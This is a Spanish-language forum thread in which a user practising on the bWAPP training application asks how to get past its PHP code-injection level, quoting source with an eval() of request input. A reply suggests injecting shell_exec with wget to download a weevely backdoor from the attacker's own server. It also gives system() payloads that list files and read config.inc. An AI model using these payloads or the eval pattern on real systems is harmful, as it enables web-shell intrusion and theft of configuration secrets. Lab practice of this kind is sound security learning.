[SOLUCIONADO] bWAPP PHP code Injection

Iniciado por Olger346, Noviembre 06, 2017, 01:48:08 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Noviembre 06, 2017, 01:48:08 PM Ultima modificación: Noviembre 12, 2017, 04:48:06 PM por blackdrake
Buenas a todos. Hace muuuucho tiempo que no posteo nada.
Hoy decidí practicar nuevamente con la aplicación bwapp de owasp. En el nivel intermedio tenemos algo curioso en la aplicación y es que ahora acepta caracteres especiales que dificultan la ejecición de codigo en funciones como exec, shell_exec, que en el nivel simple se dan muy bien...


Mi duda... ¿Cómo puedo bypasear esta sentencia de código?
Código: text
<?php

if(isset($_REQUEST["message"]))
{

    // If the security level is not MEDIUM or HIGH
    if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
    {

?>
    <p><i><?php @eval ("echo " . $_REQUEST["message"] . ";");?></i></p>

<?php

    }

    // If the security level is MEDIUM or HIGH
    else
    {
?>
    <p><i><?php echo htmlspecialchars($_REQUEST["message"], ENT_QUOTES, "UTF-8");;?></i></p>

<?php

    }

}

?>


Estuve sviendo algunos videos acerca de esta función y por lo que he comprendido anula las comillas simples y dobles, sin embargo el ampersant && la app cambia su comportamiento, todo lo que va despues del & queda ignorado a la vista del navegador.
"Cuando se nace pobre, estudiar es el mayor acto de rebeldía contra el sistema. El saber rompe las cadenas de la esclavitud" -Tomas Bulat.

Noviembre 06, 2017, 02:44:27 PM #1 Ultima modificación: Noviembre 06, 2017, 03:01:27 PM por Mortal_Poison
Hola No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Existen diversas formas, sin embargo, genera un backdoor con weevely y ese backdoor lo subes a una plataforma de almacenamiento.

Si notas, el message lo recibe como parámetro, por tanto, puedes ejecutar lo siguiente con un wget y hacerle una inyección para subirle shell.

Código: php
shell_exec(wget tu_servidor_donde_alojaste_tu_backdoor.com/mortal.txt -O output.php)


Y listo, accederías según veo, a tu dirección 192.168.1.127/bWAPP/shell.php.


Se me olvidó, no revisé lo de htmlspecialchars, al no permitir el shell_exec y filtrar, lo que podemos hacer es: intentar poner por ejemplo: message=cualquiera;system('ls -la');

También podrías intentar message=system(%27cat%20config.inc%27); e irte a ver el código fuente, a ver si lograses ver información útil.



Un saludo.
Become the change you seek in the world. -Gandhi.


Muchas gracias por tu comentario, intentaré algo extra con la información que me has proporcionado
"Cuando se nace pobre, estudiar es el mayor acto de rebeldía contra el sistema. El saber rompe las cadenas de la esclavitud" -Tomas Bulat.